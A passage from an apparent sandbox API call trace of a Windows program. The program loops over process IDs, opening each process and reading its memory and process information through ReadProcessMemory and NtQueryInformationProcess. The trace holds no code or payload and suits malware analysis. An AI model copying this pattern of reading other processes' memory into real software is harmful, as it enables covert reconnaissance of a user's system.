ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.890] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.890] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.890] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.891] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.891] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.891] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.891] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.891] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.891] malloc (_Size=0x72) returned 0xea9220 [0357.891] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea9220, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0357.892] free (_Block=0xea9220) [0357.892] CloseHandle (hObject=0xa9c) returned 1 [0357.892] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0357.892] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0357.893] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.893] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.894] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0357.894] GetLastError () returned 0x0 [0357.894] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.894] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.895] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.895] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.895] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.895] malloc (_Size=0x62) returned 0xeb6620 [0357.895] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb6620, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0357.896] free (_Block=0xeb6620) [0357.896] CloseHandle (hObject=0xa9c) returned 1 [0357.908] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0357.908] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0357.908] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.908] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.909] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0357.909] GetLastError () returned 0x0 [0357.909] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.909] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.909] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.910] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.910] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.910] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.910] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.910] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.910] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.911] malloc (_Size=0x54) returned 0xeaa710 [0357.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa710, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa710*, lpNumberOfBytesRead=0x0) returned 1 [0357.912] free (_Block=0xeaa710) [0357.913] CloseHandle (hObject=0xa9c) returned 1 [0357.914] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0357.915] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0357.915] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.915] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.918] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0357.918] GetLastError () returned 0x0 [0357.918] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.918] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.918] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.919] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.920] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.920] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.921] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.921] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.922] malloc (_Size=0x72) returned 0xea9520 [0357.922] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea9520, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0357.923] free (_Block=0xea9520) [0357.923] CloseHandle (hObject=0xa9c) returned 1 [0357.923] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0357.923] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0357.924] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.924] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0357.925] CloseHandle (hObject=0x0) returned 0 [0357.925] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0357.925] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0357.925] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.925] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.926] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0357.926] GetLastError () returned 0x0 [0357.926] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.927] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.927] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.928] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.928] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.928] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.928] malloc (_Size=0x68) returned 0xeb6150 [0357.928] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6150, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0357.929] free (_Block=0xeb6150) [0357.929] CloseHandle (hObject=0xa9c) returned 1 [0357.929] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0357.929] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0357.929] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.929] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0357.930] GetLastError () returned 0x0 [0357.930] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.931] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.931] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.931] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.931] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.931] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.931] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.931] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.932] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.932] malloc (_Size=0x76) returned 0xea90a0 [0357.932] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea90a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.933] free (_Block=0xea90a0) [0357.933] CloseHandle (hObject=0xa9c) returned 1 [0357.933] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0357.933] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0357.933] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.933] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.934] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0357.934] GetLastError () returned 0x0 [0357.934] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.934] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.935] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.935] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.936] malloc (_Size=0x7a) returned 0xe88000 [0357.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe88000, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88000*, lpNumberOfBytesRead=0x0) returned 1 [0357.936] free (_Block=0xe88000) [0357.936] CloseHandle (hObject=0xa9c) returned 1 [0357.937] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0357.937] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0357.937] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.937] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.938] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0357.938] GetLastError () returned 0x0 [0357.938] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.939] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.939] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.939] malloc (_Size=0x76) returned 0xea97a0 [0357.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea97a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.940] free (_Block=0xea97a0) [0357.940] CloseHandle (hObject=0xa9c) returned 1 [0357.940] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: 